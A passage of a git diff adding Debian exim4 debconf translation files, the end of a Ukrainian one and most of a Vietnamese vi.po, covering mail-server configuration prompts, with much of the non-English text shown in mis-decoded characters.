+"network interfaces."
+msgstr ""
+"Якщо Ñ†Ñ ÑиÑтема отримує пошту тільки напрÑму від локальних Ñлужб таких, Ñк "
+"fetchmail або ж ваша поштова програма (MUA) звертаєтьÑÑ Ð´Ð¾ localhost (Ñ– не з "
+"інших вузлів), то рекомендуєтьÑÑ Ð·Ð°Ð±Ð¾Ñ€Ð¾Ð½Ð¸Ñ‚Ð¸ зовнішні з'Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ð´Ð¾ локального "
+"Exim. Це можна зробити ввівши тут 127.0.0.1 . Це заборонить проÑÐ»ÑƒÑ…Ð¾Ð²ÑƒÐ²Ð°Ð½Ð½Ñ "
+"загальнодоÑтупних мережевих інтерфейÑів."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Тримати кількіÑÑ‚ÑŒ DNS-запитів мінімальною (Dial-on-Demand)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Ð’ нормальному режимі Exim робить DNS запити при запуÑку Ñ– при отриманні або "
+"відправленні пошти. Це здійÑнюєтьÑÑ Ð´Ð»Ñ Ð¿Ð¾Ñ‚Ñ€ÐµÐ± реєÑтрації та з метою "
+"Ð·Ð¼ÐµÐ½ÑˆÐµÐ½Ð½Ñ Ñ‡Ð¸Ñла параметрів, що вказуютьÑÑ Ñƒ файлі налаштувань."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Якщо це вузол без поÑтійного доÑтупу до Ñервера імен DNS (наприклад, Ñкщо "
+"доÑтуп до Інтернет відбуваєтьÑÑ Ð· викориÑтаннÑм комутованого з'Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ñ– "
+"dial-on-demand), то це може мати небажані наÑлідки. Ðаприклад, запуÑк Exim "
+"або запуÑк черги (навіть без повідомлень, що очікують доÑтавки) можуть "
+"викликати коштовне з'Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ð· Інтернет."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Виберіть цю опцію, Ñкщо Ñ†Ñ ÑиÑтема викориÑтовує Dial-on-Demand. Якщо ÑиÑтема "
+"має завжди доÑтупний доÑтуп до Інтернет, Ñ†Ñ Ð¾Ð¿Ñ†Ñ–Ñ Ð½Ðµ повинна бути "
+"вÑтановлена."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ð¾ÑˆÑ‚Ð¾Ð²Ð¾Ð³Ð¾ Ñервера"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Розділити Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð½Ð° малі файли?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Ð¡Ñ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ñ€Ð¾Ð±Ð¾Ñ‡Ð¸Ñ… конфігураційних файлів пакунки Debian exim4 можуть "
+"проводити двома шлÑхами: викориÑтовуючи так звану \"монолітну конфігурацію"
+"\", Ñтворюючи один загальний файл /etc/exim4/exim4.conf.template), або ж "
+"\"розщеплену конфігурацію\", близько 40 малих файлів в теці /etc/exim4/conf."
+"d/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"\"Монолітна конфігураціÑ\" більше підходить Ð´Ð»Ñ Ð²ÐµÐ»Ð¸ÐºÐ¸Ñ… модифікацій та "
+"звичайно Ñ” більш Ñтабільною, в той Ñ‡Ð°Ñ Ñк \"розщеплена конфігураціÑ\" більше "
+"підходить Ð´Ð»Ñ Ð¼Ð°Ð»Ð¸Ñ… модифікацій але Ñ” більш ламкою Ñ– Ñ—Ñ— можна легко "
+"пошкодити при необережному внеÑенні змін."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+#, fuzzy
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Детальніше Ð¾Ð±Ð³Ð¾Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾Ð±Ð»ÐµÐ¼Ð°Ñ‚Ð¸ÐºÐ¸ \"монолітної\" та \"розщепленої\" "
+"конфігурації можна знайти в файлі /usr/share/doc/exim4-base/README.Debian.gz."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Приховувати локальне поштове ім'Ñ Ñƒ пошті, що відправлÑєтьÑÑ?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Заголовки пошти, що відправлÑєтьÑÑ, будуть перепиÑані таким чином, що буде "
+"здаватиÑÑ, ніби вони були Ñтворені на іншій ÑиÑтемі. При виборі цієї опції "
+"Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ \"${mailname}\", \"localhost\" та \"${dc_other_hostnames}\" в полÑÑ… "
+"From, Reply-To, Sender та Return-Path будуть перезапиÑані."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "формат mbox в /var/mail"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "формат Maildir в домашній теці"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Метод доÑтавки Ð´Ð»Ñ Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ð¾Ñ— пошти:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim дозволÑÑ” зберігати пошту, що доÑтавлÑєтьÑÑ Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ð¾, в різних форматах. "
+"Ðайбільш широко заÑтоÑовні з них -- це mbox та Maildir. mbox викориÑтовує "
+"єдиний файл Ð´Ð»Ñ Ð²Ñієї поштової теки. Він знаходитьÑÑ Ð² /var/mail/. Формат "
+"Maildir передбачає Ð·Ð±ÐµÑ€Ñ–Ð³Ð°Ð½Ð½Ñ ÐºÐ¾Ð¶Ð½Ð¾Ð³Ð¾ Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð² окремому файлі в теці ~/"
+"Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Будь лаÑка, зауважте, що більшіÑÑ‚ÑŒ поштових інÑтрументів Debian очікують на "
+"те, що зазвичай методом доÑтавки локальної пошти Ñ” Ñаме mbox."
+
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr ""
+#~ "ПереміÑтити недоÑтавлені Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð· черги exim 3 до черги exim4?"
+
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "В теці черги exim 3 (або exim-tls 3), /var/spool/exim/input/, є "
+#~ "недоÑтавлені повідомленнÑ."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "ПіÑÐ»Ñ Ð²Ð¸Ð±Ð¾Ñ€Ñƒ цієї опції ці Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð±ÑƒÐ´ÑƒÑ‚ÑŒ переміщені у чергу exim4 (/"
+#~ "var/spool/exim4/input/), де вони оброблÑтимутьÑÑ exim4."
+
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Це працює тільки в одному напрÑмку: Exim4 може оброблÑти чергу exim 3, "
+#~ "але не навпаки. Якщо ви не виберете цю опцію, вам потрібно буде "
+#~ "переміÑтити Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð²Ñ€ÑƒÑ‡Ð½Ñƒ, інакше вони ніколи не будуть доÑтавлені."
diff --git a/debian/po/vi.po b/debian/po/vi.po
new file mode 100644
index 0000000..d010124
--- /dev/null
+++ b/debian/po/vi.po
@@ -0,0 +1,628 @@
+# Vietnamese Translation for exim4_debian.
+# Copyright © 2008 Free Software Foundation, Inc.
+# Clytie Siddall <clytie@riverland.net.au>, 2005-2008.
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4_debian\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2008-01-15 15:44+1030\n"
+"Last-Translator: Clytie Siddall <clytie@riverland.net.au>\n"
+"Language-Team: Vietnamese <vi-VN@googlegroups.com>\n"
+"Language: vi\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=1; plural=0;\n"
+"X-Generator: LocFactoryEditor 1.7b1\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Gỡ bá» các thÆ° chÆ°a phát khá»i thÆ° mục ống chỉ không?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Thư mục ống chỉ của exim « /var/spool/exim4/input » chứa một số thư chưa "
+"được phát. Việc gỡ bỠchương trình Exim sẽ gây ra các thư này còn lại chưa "
+"được phát đến khi Exim được cài đặt lại."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Không bật tùy chá»n này thì thÆ° mục ống chỉ được giữ lại, cho phép các thÆ° "
+"nằm trong hàng đợi được phát vào ngày sau, sau khi cài đặt lái chương trình "
+"Exim."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Cấu hình lại « exim4-config » thay cho gói này"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 có cấu hình được định dạng như là gói riêng, « exim-config ». Muốn cấu "
+"hình lại phần má»m Exim4 thì sá»­ dụng lệnh « dpkg-reconfigure exim4-config »."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "nơi Mạng; thư được gởi và nhận trực tiếp bằng SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "thư được gởi bằng smarthost; nhận thông qua SMTP hay fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "thư được gởi bằng smarthost; không có thư cục bộ"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "thư được phát chỉ cục bộ; không phải trên mạng"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "không cấu hình vào lúc này"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Kiểu cấu hình thư chung:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Hãy chá»n kiểu cấu hình máy phục vụ thÆ° tín thích hợp nhất vá»›i trÆ°á»ng hợp của "
+"bạn."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Các hệ thống có địa chỉ IP động, gồm có hệ thống quay số, nên có cấu hình "
+"gá»­i thÆ° cho máy khác (mang tên « smarthost »: máy khéo) phát, vì nhiá»u hệ "
+"thống nhận nằm trên Mạng cũng chặn các thư đến từ địa chỉ IP động, để bảo vệ "
+"khá»i thÆ° rác."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Hệ thống có địa chỉ IP động thì có khả năng nhận thư tín của chính nó, hoặc "
+"khả năng phát cục bá»™ có thể được tắt hoàn toàn (trừ thÆ° cho ngÆ°á»i chủ (root) "
+"và chủ bưu điện (postmaster))."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Thật sự để lại hệ thống thư chưa được cấu hình không?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"ChÆ°ac cấu hình thì hệ thống thÆ° tín bị há»ng nên không thể dùng được. Việc "
+"cấu hình vào lúc sau có thể được làm hoặc bằng tay hoặc bằng cách chạy lệnh "
+"« dpkg-reconfigure exim4-config » vá»›i tÆ° cách là ngÆ°á»i chủ (root)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Tên thư của hệ thống:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"« Tên thÆ° » là tên miá»n được dùng để « dè dặt » các địa chỉ thÆ° không có tên "
+"miá»n."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Tên này sẽ cÅ©ng được dùng bởi các chÆ°Æ¡ng trình khác. Nó nên là tên miá»n đầy "
+"đủ đơn (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Chẳng hạn, nếu địa chỉ thÆ° nằm trên máy cục bá»™ là « foo@miá»n.com » thì giá "
+"trị đúng cho tùy chá»n này là « miá»n.com »."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Tên này sẽ không xuất hiện trên dòng « Từ : » của thư gửi đi, nếu khả năng "
+"ghi lại đã được hiệu lực."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Mỗi đích khác cho đó chấp nhận thư :"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Hãy nhập danh sách định giá»›i bằng dấu chấm phẩy chứa các miá»n nhận cho chúng "
+"máy này nên là đích đến cuối cùng. Những miá»n này thÆ°á»ng được gá»i là « miá»n "
+"cục bộ ». Tên máy cục bộ (${fqdn}) và « localhost » được thêm tự động vào "
+"danh sách này."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Mặc định là má»i miá»n được xá»­ lý má»™t cách trùng. Nếu cả « a.com » lẫn « b.com "
+"» Ä‘á»u là miá»n cục bá»™, « tàik@a.com » và tàik@b.com » sẽ được phát cho cùng "
+"má»™t đích cuối cùng. Nếu tên miá»n khác nhau nên được xá»­ lý má»™t cách khác "
+"nhau, cần phải chỉnh sửa các tập tin cấu hình sau."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Miá»n cho đó cần tiếp lại thÆ° :"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Hãy nhập danh sách định giá»›i bằng dấu chấm phẩy các miá»n nhận cho chúng hệ "
+"thống này sẽ chuyển tiếp thư, chẳng hạn như là MX hay cổng ra phụ. Có nghĩa "
+"là hệ thống này sẽ chấp nhận thÆ° cho những miá»n này từ bất cứ nÆ¡i nào nằm "
+"trên Mạng, cũng phát chúng tùy theo các quy tắc phát thư cục bộ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Không ghi vào đây miá»n cục bá»™. Cho phép sá»­ dụng ký tá»± đại diện."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Máy cho đó cần tiếp lại thư :"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Hãy nhập danh sách định giới bằng dấu chấm phẩy các phạm vi địa chỉ IP cho "
+"chúng hệ thống này sẽ chuyển tiếp thÆ° má»™t cách không Ä‘iá»u kiện, thá»±c hiện "
+"chức năng của máy khéo."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Bạn nên sá»­ dụng định dạng địa chỉ/tiá»n tố chuẩn (v.d. 194.222.242.0/24 hoặc "
+"5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Nếu hệ thống này không nên là máy thông minh cho máy khác nào, hãy bỠtrống "
+"danh sách này."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Tên miá»n hiển thị cho các ngÆ°á»i dùng cục bá»™ :"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Tùy chá»n để ẩn tên thÆ° tín cục bá»™ trong các thÆ° gởi Ä‘i đã được bật. Vì vậy "
+"cần phải ghi rõ tên miá»n hệ thống này nên sá»­ dụng cho phần miá»n của địa chỉ "
+"ngÆ°á»i gởi của ngÆ°á»i dùng cục bá»™."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "Äịa chỉ IP hay tên miá»n của máy thông minh gởi Ä‘i:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Hãy nhập địa chỉ IP hoặc tên máy của máy phục vụ thư tín mà hệ thống này nên "
+"sử dụng như là máy khéo gửi đi. Nếu máy khéo này chấp nhận các thư của bạn "
+"chỉ trên cổng khác với TCP/25, hãy phụ thêm hai dấu hai chấm và số hiệu cổng "
+"(v.d. « máy_thông_minh.com::587 » hay « 192.168.254.254::2525 »). Mỗi dấu "
+"hai chấm nằm trong địa chỉ kiểu IPv6 nên được nhân đôi."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Nếu máy khéo cần thiết xác thá»±c, xem tài liệu Äá»c Äi đặc trÆ°ng cho Debian "
+"trong thư mục « /usr/share/doc/exim4-base » để tìm thông tin vỠcách thiết "
+"lập tiến trình xác thực SMTP."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "NgÆ°á»i nhận các thÆ° được gởi cho ngÆ°á»i chủ/chủ bÆ°u Ä‘iện:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"ThÆ° tín cho các tài khoản « postmaster » (chủ bÆ°u Ä‘iện), « root » (ngÆ°á»i "
+"chủ) và các tài khoản hệ thống khác cần phải được chuyển tiếp tới tài khoản "
+"ngÆ°á»i dùng của quản trị hệ thống thật."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Nếu giá trị này được bỠtrống, các thư như vậy sẽ được lưu vào « /var/mail/"
+"mail », mà không được khuyến khích."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Ghi chú rằng các thÆ° cho chủ bÆ°u Ä‘iện (postmaster) nên được Ä‘á»c trên hệ "
+"thống tới đó nó được gửi đầu tiên, hơn là được chuyển tiếp tới máy khác, vì "
+"vậy (ít nhất) má»™t của những ngÆ°á»i dùng được liệt kê ở đây không nên chuyển "
+"tiếp thÆ° ra máy này. Má»™t tiá»n tố « real- » (thật) có thể được dùng để buá»™c "
+"phát cục bộ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Nhiá»u tên ngÆ°á»i dùng nên được định giá»›i bằng dấu cách."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "Mỗi địa chỉ IP trên đó cần lắng nghe sự kết nối SMTP được gởi đến:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Hãy nhập một danh sách định giới bằng dấu chấm phẩy các địa chỉ IP. Trình "
+"ná»n SMTP Exim sẽ lắng nghe trên tất cả các địa chỉ IP được liệt kê ở đây."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Giá trị rá»—ng sẽ gây ra Exim lắng nghe sÆ° kết nối trên má»i giao diện mạng sẵn "
+"sàng."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Nếu hệ thống này chỉ nhận được thư một cách trực tiếp từ các dịch vụ cục bộ"
+"(không phải từ máy khác), khuyên bạn cấm các sự kết nối bên ngoài đến trình "
+"ná»n Exim cục bá»™. Dịch vụ nhÆ° vậy bao gồm chÆ°Æ¡ng trình thÆ° Ä‘iện tá»­ (MUA) mà "
+"liên lạc chỉ với localhost, cũng như fetchmail. Không thể kết nối từ bên "
+"ngoài khi địa chỉ « 127.0.0.0 » được nhập vào đây, vì nó sẽ tắt khả năng "
+"lắng nghe trên giao diện mạng công cộng."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Giảm số việc truy vấn DNS (quay số khi yêu cầu) không?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Trong chế độ thao tác chuẩn, Exim tra cứu DNS khi khởi chạy, cũng khi nhận "
+"hoặc phát thư. Hoạt động này cho mục đích ghi lưu, và để giảm số giá trị đã "
+"mã hoá cứng trong cấu hình."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Nếu hệ thống này không có bá»™ quyết định dịch vụ đầy đủ DNS có sẵn vào má»i "
+"lúc (chẳng hạn nếu cách truy cập Mạng là tuyến quay số dùng khả năng quay "
+"khi yêu cầu), hoạt động này có thể gây ra kết quả không được muốn. Chẳng "
+"hạn, việc khởi chạy Exim, hoặc chạy hàng đợi (thậm chí nếu không có thư nào "
+"đợi) có thể gây ra một sự kiện quay số đắt."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
